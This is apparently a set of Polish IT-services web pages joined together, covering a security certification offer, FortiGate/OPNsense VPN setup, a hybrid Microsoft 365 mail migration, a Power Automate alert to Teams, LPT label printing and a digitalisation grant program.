Dzięki audytowi i weryfikacji przeprowadzanej przez ekspertów, uzyskujesz niezależne potwierdzenie bezpieczeństwa, które możesz wykorzystać w przetargach, w relacjach z kontrahentami czy w kontaktach z instytucjami kontrolnymi.

TRUSTGUARD SILVER – solidne fundamenty bezpieczeństwa

Poziom SILVER przeznaczony jest dla organizacji, które chcą ugruntować podstawy bezpieczeństwa informacji.
To certyfikat potwierdzający, że wdrożone zostały kluczowe środki ochrony danych — zarówno organizacyjne, jak i techniczne — adekwatne do charakteru działalności.

Zakres obejmuje m.in.:

• polityki bezpieczeństwa i ochrony danych osobowych,
• kontrolę dostępu i zarządzanie uprawnieniami,
• bezpieczne procedury przetwarzania danych,
• podstawowe mechanizmy kopii zapasowych i retencji danych.

To doskonały punkt wyjścia dla kancelarii i spółdzielni, które chcą uporządkować procesy oraz uzyskać potwierdzenie zgodności z RODO.

TRUSTGUARD GOLD – kompleksowe zarządzanie bezpieczeństwem

Poziom GOLD kierowany jest do organizacji, które chcą wprowadzić systemowe zarządzanie bezpieczeństwem informacji.
Certyfikat ten obejmuje rozszerzony zestaw zabezpieczeń – od automatycznych kopii zapasowych, po regularne analizy ryzyka i dokumentację procesów bezpieczeństwa.

W ramach audytu weryfikowane są m.in.:

• cykliczne analizy ryzyka,
• monitoring incydentów i reagowanie na zdarzenia,
• audyty wewnętrzne i przeglądy systemów bezpieczeństwa,
• automatyzacja procesów backupu i odzyskiwania danych.

Organizacje z certyfikatem TRUSTGUARD GOLD potwierdzają wysoki poziom dojrzałości organizacyjnej i gotowość na wyzwania cyberbezpieczeństwa.

TRUSTGUARD PLATINUM – najwyższy standard zgodny z NIS2 i ISO 27001

Najwyższy poziom – TRUSTGUARD PLATINUM – to certyfikat dla organizacji, które stawiają na kompleksowe zarządzanie ryzykiem i zgodność z międzynarodowymi normami.
Oparty o metodologie NIS2 oraz ISO 27001, potwierdza zgodność z wymogami europejskich i krajowych regulacji w obszarze cyberbezpieczeństwa.

Poziom PLATINUM obejmuje:

• zaawansowane systemy monitorowania i detekcji (SIEM/XDR),
• szyfrowanie danych i segmentację sieci,
• zarządzanie tożsamością i dostępem (IAM/MFA),
• plany ciągłości działania (BCP/DRP),
• pełne raportowanie zgodności z NIS2 / ISO 27001.

To certyfikat zarezerwowany dla liderów – organizacji, które chcą mieć pewność, że są gotowe na audyty, kontrole i incydenty bezpieczeństwa.

Dla kogo przeznaczony jest program TRUSTGUARD?

Program dedykowany jest w szczególności dla:

• kancelarii prawnych i podatkowych,
• spółdzielni i wspólnot mieszkaniowych,
• biur rachunkowych i audytorów,
• instytucji samorządowych i organizacji publicznych,
• firm usługowych przetwarzających dane klientów.

Dołącz do programu TRUSTGUARD

Zyskaj certyfikat, który potwierdza Twoje zaangażowanie w bezpieczeństwo informacji.
Wyróżnij swoją organizację i pokaż klientom, że ochrona danych to realna wartość, a nie tylko formalność.

Skontaktuj się z nami: biuro@dserve.pl
Dowiedz się więcej na stronie: www.trustguard.pl
Porozmawiaj z ekspertem ds. certyfikacji: +48 22 100 13 00

Opis certyfikacji:

TRUSTGUARD SILVER

Poziom TRUSTGUARD SILVER jest przeznaczony dla kancelarii, które chcą zapewnić solidne fundamenty bezpieczeństwa informacji i ochrony danych. Certyfikat potwierdza wdrożenie kluczowych zabezpieczeń organizacyjnych i technicznych, adekwatnych do skali działalności oraz specyfiki obsługiwanych danych. To pierwszy krok w kierunku kompleksowego zarządzania bezpieczeństwem, gwarantujący stabilność i zgodność z podstawowymi wymogami ochrony informacji.

TRUSTGUARD GOLD

Poziom TRUSTGUARD GOLD to rozwiązanie dla kancelarii, które dążą do pełnego i systemowego zarządzania bezpieczeństwem informacji. Obejmuje rozszerzony zestaw zabezpieczeń, w tym automatyczne kopie zapasowe, regularną analizę ryzyka oraz rozbudowaną dokumentację procesów bezpieczeństwa. Certyfikat ten potwierdza dojrzałość organizacyjną w obszarze ochrony danych oraz wysoki poziom odporności na zagrożenia cybernetyczne.

TRUSTGUARD PLATINUM

Poziom TRUSTGUARD PLATINUM to najwyższy standard bezpieczeństwa, dedykowany kancelariom, które stawiają na nowoczesne technologie ochrony danych i kompleksowe zarządzanie ryzykiem. Poziom bezpieczeństwa zapewniany przez ten certyfikat został opracowany w oparciu o metodologie NIS2 oraz ISO 27001, co gwarantuje zgodność z międzynarodowymi normami w zakresie cyberbezpieczeństwa. Obejmuje zaawansowane systemy monitorowania, szyfrowania i kontroli dostępu, zapewniające najwyższy poziom ochrony informacji i ciągłości działania organizacji.

Cel konfiguracji

Połączenie sieci:

• FortiGate (centrala) – np. 192.168.0.0/24
• OPNsense (oddział) – np. 192.168.154.0/24
  z wykorzystaniem tunelu IPsec IKEv2 z uwierzytelnianiem pre-shared key.

Konfiguracja po stronie OPNsense

1. Wejdź w:
   VPN → IPsec → Tunnels → Add Phase 1 Entry
2. Ustawienia podstawowe:
   • Włączony: Tak
   • Connection name: np. DC
   • IKE Version: 2
   • Remote gateway: publiczny adres FortiGate (np. 212.87.244.36)
   • Pre-shared key: wpisz hasło uzgodnione z drugą stroną
3. Algorytmy szyfrowania (Phase 1 proposals):
   • AES128-SHA256 / MODP2048
   • AES192-SHA256
   • AES256-SHA256 (opcjonalnie)
4. Phase 2 (Child SA):
   • Tryb: Tunnel
   • Polityki: Włączone
   • ESP proposals: AES128-SHA256-MODP2048
   • Local network: 192.168.154.0/24
   • Remote network: 192.168.0.0/24
   • DPD (Dead Peer Detection): Brak lub domyślne
   • Start Action: Trap+start

Po zapisaniu tunel powinien być widoczny jako aktywny w zakładce Status → Overview.

Konfiguracja po stronie FortiGate

1. Network → IPsec Tunnels → Create New → Custom
2. Ustawienia:
   • Name: DC-CZESTMAN
   • Remote Gateway: Static IP Address (212.87.244.36)
   • Interface: wan1
   • Authentication Method: Pre-shared key (ten sam co na OPNsense)
   • IKE Version: 2
3. Phase 1 Proposal:
   • Algorithms: AES192-SHA256, AES128-SHA256
   • DH Group: 14
4. Phase 2 Selectors:
   • Local Address: 192.168.0.0/24
   • Remote Address: 192.168.154.0/24
5. Routing i polityki:
   • Dodaj statyczny route do sieci zdalnej 192.168.154.0/24 przez interfejs VPN.
   • Utwórz politykę firewall:
     • Source: LAN (192.168.0.0/24)
     • Destination: DC-CZESTMAN (tunel IPsec)
     • Action: ACCEPT
     • Schedule: always
     • Service: ALL

Test połączenia

Po stronie FortiGate w zakładce Monitor → IPsec Monitor powinien pojawić się aktywny tunel.
Po stronie OPNsense — status Established w VPN → IPsec → Status Overview.
Ping z jednej sieci do drugiej (np. z hosta 192.168.0.x do 192.168.154.x) powinien być możliwy.

Podsumowanie

Konfiguracja IPsec FortiGate OPNsense wymaga:

• dopasowania szyfrowań i grup DH po obu stronach,
• identycznego pre-shared key,
• poprawnego wpisania podsieci lokalnych i zdalnych.

To sprawdzone rozwiązanie pozwala bezpiecznie połączyć oddziały firmy, serwery lub laboratoria testowe.

Zrzuty:

Konfiguracja fortigate:

W środowiskach firmowych coraz częściej spotykamy się z potrzebą precyzyjnego ograniczenia dostępu dla użytkowników łączących się przez VPN. Zamiast pozwalać im na dostęp do całej sieci LAN, możemy skonfigurować rozwiązanie FortiGate VPN w połączeniu z FortiClient EMS (Endpoint Management Server), by użytkownik po zalogowaniu miał dostęp wyłącznie do konkretnego urządzenia — np. serwera aplikacyjnego, plików księgowości lub jednej stacji roboczej.

Poniżej znajdziesz krótką instrukcję krok po kroku, jak to poprawnie skonfigurować.

1. Konfiguracja FortiClient EMS

FortiClient EMS służy do centralnego zarządzania klientami VPN.
Aby rozpocząć:

• Zainstaluj i skonfiguruj serwer EMS (najlepiej w środowisku Windows Server).
• Dodaj połączenie z urządzeniem FortiGate w sekcji Fabric Connectors.
• Utwórz użytkowników w EMS — nie ma potrzeby dodawania ich do grup, jeśli planujesz indywidualne przypisania dostępu.

2. Powiązanie użytkownika z FortiGate

Na FortiGate:

1. Przejdź do User & Authentication → Authentication Portal Mapping.
2. Dodaj użytkownika, który ma mieć dostęp przez VPN.
3. Upewnij się, że mapowanie wskazuje właściwy profil VPN (SSL-VPN lub IPsec).

To pozwoli FortiGate’owi rozpoznać użytkownika i jego uprawnienia.

3. Utworzenie polityki Firewall Policy

W kolejnym kroku musimy ograniczyć ruch użytkownika tylko do konkretnego hosta.

1. Wejdź w Policy & Objects → Firewall Policy.
2. Utwórz nową regułę:
   • Source: użytkownik lub grupa VPN (np. SSLVPN_TunnelAddr1).
   • Destination: konkretny host, np. serwer o IP 192.168.1.10.
   • Service: możesz określić konkretne porty (np. RDP, SMB, HTTPS).
   • Action: Allow.
3. Upewnij się, że ta reguła znajduje się wyżej niż ogólne polityki dopuszczające ruch VPN → LAN.

Dzięki temu użytkownik VPN będzie miał dostęp tylko do określonego urządzenia, a nie całej sieci lokalnej.

4. Testowanie konfiguracji

Po wdrożeniu:

• Zaloguj się z klienta FortiClient VPN.
• Sprawdź, czy użytkownik ma dostęp wyłącznie do wskazanego hosta.
• Monitoruj połączenia w Log & Report → Forward Traffic, by zweryfikować, że inne adresy IP nie są osiągalne.

Podsumowanie

Takie podejście:

• zwiększa bezpieczeństwo (zasada najmniejszych uprawnień),
• upraszcza zarządzanie dostępem zdalnym,
• umożliwia łatwą segmentację użytkowników według ról lub stanowisk.

W DSERVE konfigurujemy rozwiązania Fortinet w środowiskach produkcyjnych, edukacyjnych i administracji publicznej, dbając o maksymalne bezpieczeństwo połączeń VPN i kontrolę dostępu.

Potrzebujesz pomocy z konfiguracją FortiGate lub EMS?
Skontaktuj się z nami: dserve.pl/kontakt
lub napisz na: helpdesk@dserve.pl

Kiedy to ma sens?

• chcesz migrację etapową (nie wszyscy naraz),
• chcesz zachować MX na aktualnym hostingu,
• chcesz równolegle działać: część skrzynek na starym serwerze, część w Exchange Online.

Architektura przepływu poczty (w skrócie)

• Przychodząca: Internet → stary serwer (MX)
  • jeśli adres należy do użytkownika już przeniesionego do M365 → forward na jego alias @tenant.onmicrosoft.com
  • jeśli użytkownik pozostaje na starym serwerze → normalna dostawa lokalnie
• Wychodząca:
  • z M365 → Internet (zgodnie z politykami M365, SPF/DMARC)
  • ze starego serwera → jak dotychczas

Wymagania wstępne (checklista)

• Dostęp do: panelu DNS domeny willi.com.pl, centrum administracyjnego M365 (Microsoft 365 admin, Exchange admin), panelu administracyjnego obecnego serwera poczty.
• Znajomość nazwy dzierżawy M365 (np. tenant.onmicrosoft.com).
• Możliwość ustawienia forwardów na starym serwerze (na wybrane skrzynki).
• Publiczny adres IP starego serwera (do SPF).

Krok 1. Autoryzuj domenę willi.com.pl w Microsoft 365

1. Wejdź do Microsoft 365 Admin Center → Ustawienia → Domeny → Dodaj domenę.
2. Wprowadź willi.com.pl.
3. Potwierdź własność dodając wskazany rekord TXT w DNS (najczęściej w formie MS=msXXXXXXXX).
4. Nie zmieniaj MX (zostaje na starym serwerze). W kreatorze pomiń/odznacz kroki dotyczące MX, jeśli są sugerowane.

Efekt: Microsoft 365 „zna” domenę, ale mail przychodzący nadal płynie zgodnie z obecnym MX.

Krok 2. Zaktualizuj rekord SPF (by legalnie wysyłać z M365)

W rekordzie SPF domeny dodaj Microsoft 365, czyli include:spf.protection.outlook.com.
Przykład bezpiecznej, hybrydowej polityki (dopasuj IP starego serwera):

willi.com.pl  TXT  v=spf1 ip4:XX.XX.XX.XX include:spf.protection.outlook.com -all

• ip4:XX.XX.XX.XX – publiczny IP starego serwera poczty (jeśli on również wysyła e-maile).
• include:spf.protection.outlook.com – autoryzuje wysyłkę z Exchange Online.
• -all – odrzucaj źródła nieujęte w SPF.

Rekomendacje dodatkowe (opcjonalnie, ale warto): włącz DKIM dla willi.com.pl w M365 i skonfiguruj DMARC.

Krok 3. Utwórz użytkowników / skrzynki w M365

Dla osób, które mają działać już w chmurze:

1. W Microsoft 365 Admin Center → Użytkownicy → Aktywni użytkownicy dodaj użytkownika i licencję Exchange Online.
2. Nadaj mu adres w domenie willi.com.pl (np. jan.nowak@willi.com.pl).
3. Zwróć uwagę, że każda skrzynka w M365 ma też automatycznie alias @tenant.onmicrosoft.com (np. jan.nowak@tenant.onmicrosoft.com). Ten alias będzie użyty do forwardu.

Dla osób, które jeszcze zostają na starym serwerze:

• Możesz nic nie tworzyć w M365 albo (lepiej dla książki adresowej i reguł transportu) utworzyć Mail Contact z adresem zewnętrznym jan.nowak@willi.com.pl. Dzięki temu katalog M365 „widzi” użytkownika i można wygodniej trasować.

Krok 4. Ustaw domenę willi.com.pl w Exchange Online jako Internal Relay

1. Wejdź do Exchange admin center: https://admin.exchange.microsoft.com → Mail flow → Accepted domains.
2. Otwórz willi.com.pl.
3. Zmień typ domeny z Authoritative na Internal relay i zapisz.

Co to daje?
Jeśli wiadomość dla willi.com.pl trafi do M365, a skrzynka docelowa nie istnieje w chmurze, Exchange Online przekaże (relay) ją dalej – do Twojego serwera (przez skonfigurowany konektor).

Krok 5. (Zalecane) Skonfiguruj konektor Outbound z M365 do Twojego serwera

Aby Internal Relay mógł faktycznie wysłać dalej do starego serwera, utwórz konektor:

1. Exchange admin center → Mail flow → Connectors → Add (+).
2. From: Office 365 → To: Partner organization.
3. Nazwij np. To-legacy-willi.
4. Use the sender’s domain → wskaż willi.com.pl albo wybierz warunek „For email messages sent to these domains” i dodaj willi.com.pl.
5. Smart host: podaj host Twojego serwera (np. mail.willi.com.pl) lub jego publiczny FQDN.
6. Sposób uwierzytelnienia:
   • najprościej TLS opportunistic z walidacją certyfikatu (jeśli serwer ma poprawny cert),
   • alternatywnie MX na smart hoście i/lub ograniczenia po IP.
7. Zakończ kreator testem.

Dzięki temu Exchange Online wie, gdzie dostarczyć pocztę dla skrzynek, których nie ma w chmurze (Internal Relay + Outbound Connector).

Krok 6. Na starym serwerze włącz forwardy dla przeniesionych użytkowników

Dla każdego użytkownika zmigrowanego do M365 ustaw przekierowanie:

• Z: jan.nowak@willi.com.pl (stary serwer)
• Do: jan.nowak@tenant.onmicrosoft.com (alias O365)

Skąd wziąć alias @tenant.onmicrosoft.com?
W panelu M365 – po utworzeniu skrzynki jest on widoczny na liście aliasów/adresów (powstaje automatycznie).

Dzięki temu, gdy poczta wpadnie na stary serwer (bo MX został), wiadomości do migrowanych osób polecą dalej do Exchange Online.

Krok 7. Testy end-to-end

1. SPF: sprawdź rekord TXT (np. nslookup -type=txt willi.com.pl). Upewnij się, że zawiera include:spf.protection.outlook.com i IP starego serwera.
2. Dostawa do chmury: wyślij wiadomość na adres użytkownika, który ma forward do @tenant.onmicrosoft.com – sprawdź, czy trafia do skrzynki M365.
3. Dostawa na stary serwer: wyślij wiadomość do użytkownika, który nie ma skrzynki w M365 – powinna zostać dostarczona lokalnie.
4. Wysyłka z M365: z konta M365 wyślij wiadomość na zewnątrz – sprawdź nagłówki (powinny wskazywać protection.outlook.com).
5. Wysyłka ze starego serwera: bez zmian – upewnij się, że SPF pokrywa ten serwer (brak „fail” w testach).

Najczęstsze pułapki i jak ich uniknąć

• Zły include w SPF – prawidłowy to include:spf.protection.outlook.com, nie include:microsoft....
• Brak konektora w M365 – Internal Relay nie zadziała skutecznie, jeśli M365 nie wie, dokąd przesłać pocztę (Krok 5).
• Forward dla niewłaściwych kont – ustawiaj przekierowanie tylko dla użytkowników przeniesionych do M365, w przeciwnym razie stworzysz pętle.
• TLS/certyfikat na starym serwerze – jeśli nie masz poprawnego certyfikatu, rozważ prostsze ustawienia lub aktualizację certu.
• Autorytatywna domena w M365 – jeśli przez pomyłkę zostawisz Authoritative, M365 będzie odrzucać pocztę dla skrzynek nieistniejących w chmurze zamiast ją relayować.
• Brak DKIM/DMARC – nie wymagane do działania, ale zdecydowanie poprawiają dostarczalność i reputację.

(Opcjonalnie) Wersja PowerShell dla administratorów

# Połącz z Exchange Online
Connect-ExchangeOnline

# Ustaw domenę jako Internal Relay
Set-AcceptedDomain -Identity "willi.com.pl" -DomainType InternalRelay

# Dodaj/zweryfikuj konektor outbound do starego serwera
New-OutboundConnector -Name "To-legacy-willi" `
 -ConnectorType Partner `
 -RecipientDomains "willi.com.pl" `
 -SmartHosts "mail.willi.com.pl" `
 -TlsSettings Opportunistic `
 -IsTransportRuleScoped $false

# (Przykład) Mail Contact dla użytkownika pozostającego na starym serwerze
New-MailContact -Name "Jan Nowak (legacy)" `
 -ExternalEmailAddress "jan.nowak@willi.com.pl" `
 -FirstName "Jan" -LastName "Nowak"

W DNS rekord SPF aktualizujesz w panelu domeny – PowerShellem tego nie zrobisz.

Plan migracji „na raty” (propozycja)

1. Tydzień 1: dodanie domeny w M365, SPF, Internal Relay, konektor; pilotaż 1–2 skrzynek.
2. Tydzień 2: stopniowe przenoszenie kolejnych użytkowników (forwardy na starym serwerze).
3. Tydzień 3+: po zakończeniu migracji wszystkich – przełączenie MX na M365 (jeśli chcesz) i wyłączenie relay/forwardów.

FAQ – krótkie odpowiedzi

• Czy muszę od razu zmieniać MX?
  Nie. W tym scenariuszu MX zostaje na starym serwerze, dopóki chcesz.
• Skąd wziąć adres @tenant.onmicrosoft.com?
  Z karty użytkownika w M365 – tworzy się automatycznie przy zakładaniu skrzynki.
• Co z rekordami Autodiscover/Exchange?
  Dla użytkowników w M365 warto wskazać autodiscover na chmurę (CNAME do autodiscover.outlook.com), ale przy MX na stary serwer rób to ostrożnie – najlepiej po użytkownikach, którzy już są w M365.
• Czy potrzebuję inbound connector do M365 (z legacy)?
  Nie jest wymagany w tej wersji przepływu, bo przychodzący ruch idzie do legacy (MX), a nie do M365. Outbound z M365 do legacy tak – żeby Internal Relay miał trasę.

Lista kontrolna (do odhaczenia)

• Dodana domena willi.com.pl do M365, potwierdzona TXT
• SPF: v=spf1 ip4:XX.XX.XX.XX include:spf.protection.outlook.com -all
• Utworzone skrzynki w M365 dla migrowanych + weryfikacja aliasu @tenant.onmicrosoft.com
• Accepted domain w M365 → Internal relay
• Konektor Outbound z M365 do starego serwera (smart host)
• Forwardy na starym serwerze → @tenant.onmicrosoft.com (tylko dla migrowanych)
• Testy przychodzącej i wychodzącej poczty, nagłówki, SPF/DKIM/DMARC

Podsumowanie

W powyższej konfiguracji nie zmieniasz MX, a mimo to możesz płynnie przenosić skrzynki do Microsoft 365. Kluczem jest:

• SPF z include:spf.protection.outlook.com,
• Internal Relay w Exchange Online,
• konektor z M365 do starego serwera,
• forwardy z legacy do aliasów @tenant.onmicrosoft.com dla przeniesionych użytkowników.

Co zbudujemy

Przepływ chmurowy (Cloud flow), który:

1. reaguje na nowy e-mail w Shared Mailbox,
2. pobiera web link do wiadomości,
3. wysyła na czat Teams wiadomość „WorkFlow” z polami: Od → Do → Temat → Podgląd → Link.

Wymagania

• Licencje: Microsoft 365 (z Power Automate w planie M365) + dostęp do Teams; bez licencji premium.
• Uprawnienia: konto uruchamiające flow ma Full Access do skrzynki udostępnionej oraz dostęp do czatu/zespołu, gdzie postujemy.
• Konektory: Office 365 Outlook, Microsoft Teams.

Architektura przepływu

1. Trigger: When a new email arrives in a shared mailbox (V2) (Office 365 Outlook)
2. Akcja: Get email (V3) – aby uzyskać webLink do wiadomości (wejście: Message Id z triggera)
3. Akcja: Send a message in a chat or channel (Microsoft Teams) – publikacja na czacie 1:1, grupowym albo w kanale

Konfiguracja – instrukcja

1) Trigger: „Gdy nadejdzie nowy e-mail w skrzynce udostępnionej (V2)”

• Shared mailbox address: nazwa-skrzynki@firma.pl
• (Opcjonalnie) Folder: Inbox (domyślne) lub inny
• (Opcjonalnie) Only with Attachments / Include Attachments — według potrzeb
• (Opcjonalnie) Importance: Any / High

Trigger conditions (filtrowanie na wejściu – zalecane):
Ustaw w Settings triggera, aby nie odpalać przepływu dla mało istotnych maili, np. tylko „PILNE” lub z ważnością High:

@or(
  equals(triggerOutputs()?['body/importance'], 'High'),
  contains(triggerOutputs()?['body/subject'], 'PILNE')
)

Dzięki temu oszczędzasz limity i utrzymujesz porządek w logach.

2) „Get email (V3)”

• Message Id: @{triggerBody()?['id']}
  Ta akcja zwróci m.in. webLink – bezpośredni link „Otwórz w Outlook w przeglądarce”.

3) „Send a message in a chat or channel” (Teams)

• Post as: Flow bot (zalecane)
• Post in: Chat with user(s) (lub Channel → wybierz zespół/kanal)
• Recipients / Channel: wybierz adresatów lub kanał
• Message (pole tekstowe) – wstaw poniższy szablon:

**Nowa wiadomość w skrzynce:** Shared Mailbox – @{triggerOutputs()?['body/recipientEmailAddress']}
• **Od:** @{triggerOutputs()?['body/from/emailAddress/name']} <@{triggerOutputs()?['body/from/emailAddress/address']}>
• **Do:** @{join(triggerOutputs()?['body/toRecipients'], ', ')}
• **Temat:** @{triggerBody()?['subject']}
• **Podgląd:** @{triggerBody()?['bodyPreview']}

[Otwórz w Outlook Web](@{outputs('Get_email_(V3)')?['body/webLink']})

Uwaga dot. To: – pole toRecipients bywa tablicą obiektów. join() działa, jeśli konektor zwraca go jako tablicę stringów. Jeśli to obiekty, użyj „Select” → „Join” (patrz „Zaawansowane warianty” poniżej).

Gotowe! Test i publikacja

1. Wyślij testowy e-mail na skrzynkę udostępnioną.
2. W historii uruchomień sprawdź, czy Get email (V3) zwrócił webLink.
3. Zobacz, czy czat/kanal w Teams dostał komunikat.

Personalizacja i dobre praktyki

A) Formatowanie wiadomości

Teams akceptuje Markdown (pogrubienia, linki, listy). Trzymaj treść krótko, dodaj tylko najważniejsze pola.

B) Warunki biznesowe

• Filtr domeny nadawcy: w treści warunku użyj contains(triggerOutputs()?['body/from/emailAddress/address'], '@klient.pl')
• Załączniki: dodaj ścieżkę „Jeśli hasAttachments = true → …” i np. dołącz link do pliku po zapisie w SharePoint.

C) Nazewnictwo i środowiska

• Nazwij przepływ np. MAIL2TEAMS - SharedMailbox - Notifications.
• Przechowuj w Solution (ALM), użyj konta serwisowego (Service Account) do konektorów.

Zaawansowane warianty

1) Ładniejszy layout z Adaptive Card

Zamiast zwykłej wiadomości użyj akcji „Post adaptive card and wait for a response” i wklej JSON karty (np. z Adaptive Cards Designer). Pola dynamiczne wstawiasz tak samo. Dodaj przyciski „Przypisz”, „Oznacz jako obsłużone”.

2) „Do:” jako czytelna lista adresów

Jeśli toRecipients przychodzi jako tablica obiektów, dodaj akcje:

• Select:
  • From: @{triggerOutputs()?['body/toRecipients']}
  • Map: email → item()?['emailAddress']?['address']
• Join:
  • From: wynik Select
  • Separator: ,
• W wiadomości użyj: @{outputs('Join')}

3) Ominięcie duplikatów / floodu

• Użyj Trigger conditions (jak wyżej).
• Do wersjonowania użyj internetMessageId i zapisuj przetworzone ID w SharePoint/Dataverse, zanim wyślesz komunikat.

4) Różne kanały wg reguł

Dodaj Switch po subject/from i kieruj notyfikację do różnych kanałów (np. #sprzedaż, #serwis).

Rozwiązywanie problemów

• Brak wiadomości w Teams: sprawdź historię uruchomień oraz czy konto połączenia ma Full Access do skrzynki i dostęp do odbiorców w Teams.
• Brak linku „Otwórz w Outlook Web”: upewnij się, że dodałeś Get email (V3) i w treści używasz body/webLink.
• Błędy uprawnień: w Outlook connector użyj konta serwisowego z nadanym Full Access do Shared Mailbox (Exchange Admin Center).
• Ograniczenia rozmiaru: wiadomości >35 MB z dużymi załącznikami mogą nie przechodzić — rozważ warunki hasAttachments=false lub upload załączników do SharePoint i link w karcie.

Szybki „copypaste” – minimalny szablon wiadomości (Teams)

**Nowy e-mail – @{triggerOutputs()?['body/recipientEmailAddress']}**
Od: @{triggerOutputs()?['body/from/emailAddress/name']} <@{triggerOutputs()?['body/from/emailAddress/address']}>
Do: @{join(triggerOutputs()?['body/toRecipients'], ', ')}
Temat: @{triggerBody()?['subject']}
Podgląd: @{triggerBody()?['bodyPreview']}

[Otwórz w OWA](@{outputs('Get_email_(V3)')?['body/webLink']})

Podsumowanie

W kilka minut możesz zautomatyzować przepływ informacji: nowy mail → natychmiastowa, czytelna notyfikacja w Teams z klikanym linkiem do podglądu. Zacznij od prostego wariantu, a potem dodawaj warunki, Adaptive Card i routing do kanałów — dokładnie tak, jak opisałem powyżej. Jeśli chcesz, mogę przygotować gotowy export rozwiązania (Flow) do importu w Twoim środowisku.

Autor: Błażej Jadach

Jeśli aplikacja wymaga portu LPT (np. starsze moduły wydruku lub programy DOS-owe), najpewniejszą metodą jest „przechwycenie” drukarki etykiet na LPT i podanie jej gotowego pliku z danymi etykiety. Poniżej kompletna instrukcja, która u nas zadziałała.

1) Udostępnij drukarkę etykiet i nazwij udział

W Ustawienia → Drukarki i skanery wybierz swoją drukarkę etykiet → Właściwości drukarki → Udostępnianie → zaznacz Udostępnij tę drukarkę.
Nadaj prostą nazwę udziału, np. etykieta2.

2) Zmapuj drukarkę na port LPT

W wierszu poleceń (uruchomionym jako Administrator) wykonaj:

net use LPT1: /delete /y
net use LPT1: \\localhost\etykieta2 /persistent:yes

Dzięki temu każda aplikacja wysyłająca na LPT1: trafi do udziału \\localhost\etykieta2.

3) Zweryfikuj schemat wydruku w programie XL

W naszym przypadku schemat składał się z zapytania SQL, transformacji XSL oraz definicji pliku wyjściowego i skryptu uruchomieniowego.

Schemat wydruku etykiety:

[SQL]
select Wynik+CHAR(10) as Wynik from cdn.POL_EtyPrzyklad5
Order by Kolejnosc,Linia

[XSL]
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method = "xml" omit-xml-declaration="yes"/>
<xsl:preserve-space elements="*"/>
<xsl:template match="/">
<xsl:for-each select="ROOT">
<xsl:apply-templates select="RECORDSET1"/>
</xsl:for-each>
</xsl:template>
<xsl:template match="RECORDSET1">
<xsl:apply-templates select="RECORD" mode="r1"/>
</xsl:template>
<xsl:template match="RECORD" mode="r1">
<xsl:value-of select="@Wynik" />
</xsl:template>
</xsl:stylesheet>

[FILE]
C:\ETYKIETA\Etykieta.txt

[RUN]
c:\etykieta\DrukujKod.bat

4) Sprawdź zawartość skryptu drukującego

Plik: c:\etykieta\DrukujKod.bat

W naszym przypadku wystarczyło:

Copy C:\etykieta\etykieta.txt LPT1

I to wszystko — drukowanie działa OK.

Drobne wskazówki (warto wiedzieć)

• Jeśli linie w pliku się „zlewają”, w SQL zamiast samego CHAR(10) użyj CHAR(13)+CHAR(10) (Windowsowy CRLF).
• Niektóre drukarki/sterowniki lepiej przyjmują wysyłkę binarną: copy /b C:\etykieta\etykieta.txt LPT1:
• Gdy pojawi się komunikat o uprawnieniach, uruchom CMD jako Administrator.
• Jeśli komputer ma fizyczny port LPT1, a mapowanie nie działa, użyj LPT2: lub wyłącz fizyczny LPT w BIOS.

Masz podobny problem i chcesz, żebyśmy zrobili to z Tobą? Daj znać — pomożemy dobrać właściwy schemat i przygotujemy gotowe skrypty.

Dla kogo jest Dig.IT?

Program jest skierowany do mikro, małych i średnich firm z sektora przetwórstwa przemysłowego i usług produkcyjnych.

Warunki kwalifikowalności (średnia ważona z 3 ostatnich lat):

• min. 5 pełnych lat obrotowych, limit de minimis dostępny,
• ROS ≥ 4%, Quick Ratio 0,7–1,8, Zadłużenie ogólne ≤ 68%.

Na co można dostać dofinansowanie?

Obligatoryjnie (co najmniej jedno):

• nabycie i wdrożenie gotowych technologii cyfrowych, oraz/lub
• prace programistyczne prowadzące do opracowania i wdrożenia technologii.

Fakultatywnie (łącznie do 40% kosztów kwalifikowanych):

• szkolenia pracowników,
• niezbędne środki trwałe (np. serwery, stacje robocze, urządzenia sieciowe),
• materiały i eksploatacja niezbędne do wdrożenia.

Co możesz sfinansować praktycznie (przykłady)

• Wymiana komputerów w lokalizacjach, gdzie sprzęt nie spełnia wymagań Windows 11 (jako środki trwałe – w puli do 40%).
• Licencje na oprogramowanie produkcyjne/biurowe/systemowe (w ramach wdrażanych technologii cyfrowych).
• Szkolenia z obsługi nowych systemów (ERP/MES/OT/AI).
• Cyberbezpieczeństwo: segmentacja sieci OT/IT, EDR/NDR/SOC, kopie offline, DR/BCP.
• Systemy UTM/NGFW (np. kontrola aplikacji, IPS, filtrowanie treści, VPN) jako element wdrożenia technologii cyfrowych.
• Integracje i automatyzacje (MES/SCADA, ERP/WMS, AI/big data, analityka predykcyjna).

Ile i na jakich zasadach?

• Dofinansowanie do 50% kosztów kwalifikowanych (de minimis).
• Grant: 150 000 – 850 000 zł.
• Limit przychodowy: grant ≤ 30% średnich rocznych przychodów netto ze sprzedaży (ostatnie 3 lata).
• Wypłata: jednorazowa refundacja (brak zaliczek i płatności pośrednich).

Terminy i ważne zastrzeżenia

• Nabór: 3–21 listopada 2025 (do 16:00) przez SI Dig.IT (wnioski.digit.arp.pl).
• Pula: 20 000 000 zł.
• Możliwe skrócenie/wydłużenie naboru (komunikat z 2 dni wyprzedzeniem).
• Następny nabór: czerwiec 2026.

Jak przygotować się do złożenia wniosku? (checklista)

1. Sprawdź kwalifikowalność (branża, 5 lat, de minimis, wskaźniki).
2. Zdefiniuj projekt: cel biznesowy, zakres technologiczny, mierzalne efekty (KPI).
3. Budżet i harmonogram: wyceny, rozdzielenie części fakultatywnej (≤40%), wkład własny.
4. Policz limity: 50% dofinansowania i 30% przychodów.
5. Wskaźniki finansowe: ROS, Quick Ratio, Zadłużenie ogólne.
6. Załączniki z regulaminu: oświadczenia, upoważnienia do BIG/BIK, lista dokumentów, wzór umowy, tabela wskaźników.
7. Złożenie w SI Dig.IT w terminie (do 16:00).

Dokumentacja i kontakt organizatora

• Regulamin i załączniki: wzory wniosku, umowy, oświadczeń, instrukcje, tabela do obliczenia wskaźników.
• Kontakt: digit@arp.pl, +48 22 695 36 41.
• ARP S.A., ul. Nowy Świat 6/12, 00-400 Warszawa.

Najczęstsze pytania (FAQ)

Czy szkolenia są kwalifikowane? Tak, ale w ramach puli fakultatywnej (łącznie ≤40%).
Czy są zaliczki? Nie, tylko refundacja po zakończeniu.
Jak działa limit 30%? Wysokość grantu nie może przekroczyć 30% średnich rocznych przychodów netto z 3 lat.
